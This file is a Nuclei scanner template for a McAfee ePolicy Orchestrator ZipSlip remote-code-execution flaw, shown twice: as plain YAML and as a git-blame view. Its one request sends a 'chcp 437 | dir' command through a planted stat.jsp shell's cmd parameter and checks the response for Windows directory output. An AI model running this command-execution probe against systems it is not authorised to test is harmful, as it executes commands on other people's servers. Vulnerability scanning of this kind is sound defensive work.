nuclei-templates/http/vulnerabilities/other/mcafee-epo-rce.yaml

id: mcafee-epo-rce

info:
  name: McAfee ePolicy Orchestrator - Arbitrary File Upload
  author: dwisiswant0
  severity: high
  description: |
    McAfee ePolicy Orchestrator (ePO) is vulnerable to a ZipSlip vulnerability which allows arbitrary file upload when archives are unpacked if the names of the packed files are not properly sanitized. An attacker can create archives with files containing "../" in their names, making it possible to upload arbitrary files to arbitrary directories or overwrite existing ones during archive extraction.
  reference:
    - https://swarm.ptsecurity.com/vulnerabilities-in-mcafee-epolicy-orchestrator/
  tags: mcafee,rce,
  metadata:
    max-request: 1

http:
  - method: GET
    path:
      - "{{BaseURL}}/stat.jsp?cmd=chcp+437+%7c+dir"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "text/html"
        part: header
      - type: regex
        regex:
          - "Volume (in drive [A-Z]|Serial Number) is"
        part: body
:fire: Add McAfee ePO RCE vulnerability 2020-12-09 08:33:35 +00:00			`id: mcafee-epo-rce`

			`info:`
Dashboard Content Enhancements (#4927) Dashboard Content Enhancements 2022-07-27 20:17:31 +00:00			`name: McAfee ePolicy Orchestrator - Arbitrary File Upload`
:fire: Add McAfee ePO RCE vulnerability 2020-12-09 08:33:35 +00:00			`author: dwisiswant0`
			`severity: high`
			`description: \|`
Dashboard Content Enhancements (#4927) Dashboard Content Enhancements 2022-07-27 20:17:31 +00:00			`McAfee ePolicy Orchestrator (ePO) is vulnerable to a ZipSlip vulnerability which allows arbitrary file upload when archives are unpacked if the names of the packed files are not properly sanitized. An attacker can create archives with files containing "../" in their names, making it possible to upload arbitrary files to arbitrary directories or overwrite existing ones during archive extraction.`
Removed pipe (\|) character from references, because the structure requires it to be a string slice, not a string Related nuclei tickets: * #259 - dynamic key-value field support for template information * #940 - new infos in template * #834 * RES-84 2021-08-18 11:37:49 +00:00			`reference:`
:fire: Add McAfee ePO RCE vulnerability 2020-12-09 08:33:35 +00:00			`- https://swarm.ptsecurity.com/vulnerabilities-in-mcafee-epolicy-orchestrator/`
Dashboard Content Enhancements (#4927) Dashboard Content Enhancements 2022-07-27 20:17:31 +00:00			`tags: mcafee,rce,`
Added max request counter of each template 2023-04-28 08:11:21 +00:00			`metadata:`
			`max-request: 1`
:fire: Add McAfee ePO RCE vulnerability 2020-12-09 08:33:35 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com> 2023-04-27 04:28:59 +00:00			`http:`
:fire: Add McAfee ePO RCE vulnerability 2020-12-09 08:33:35 +00:00			`- method: GET`
			`path:`
			`- "{{BaseURL}}/stat.jsp?cmd=chcp+437+%7c+dir"`
			`matchers-condition: and`
			`matchers:`
			`- type: status`
			`status:`
			`- 200`
			`- type: word`
			`words:`
			`- "text/html"`
			`part: header`
			`- type: regex`
			`regex:`
			`- "Volume (in drive [A-Z]\|Serial Number) is"`
Dashboard Content Enhancements (#4927) Dashboard Content Enhancements 2022-07-27 20:17:31 +00:00			`part: body`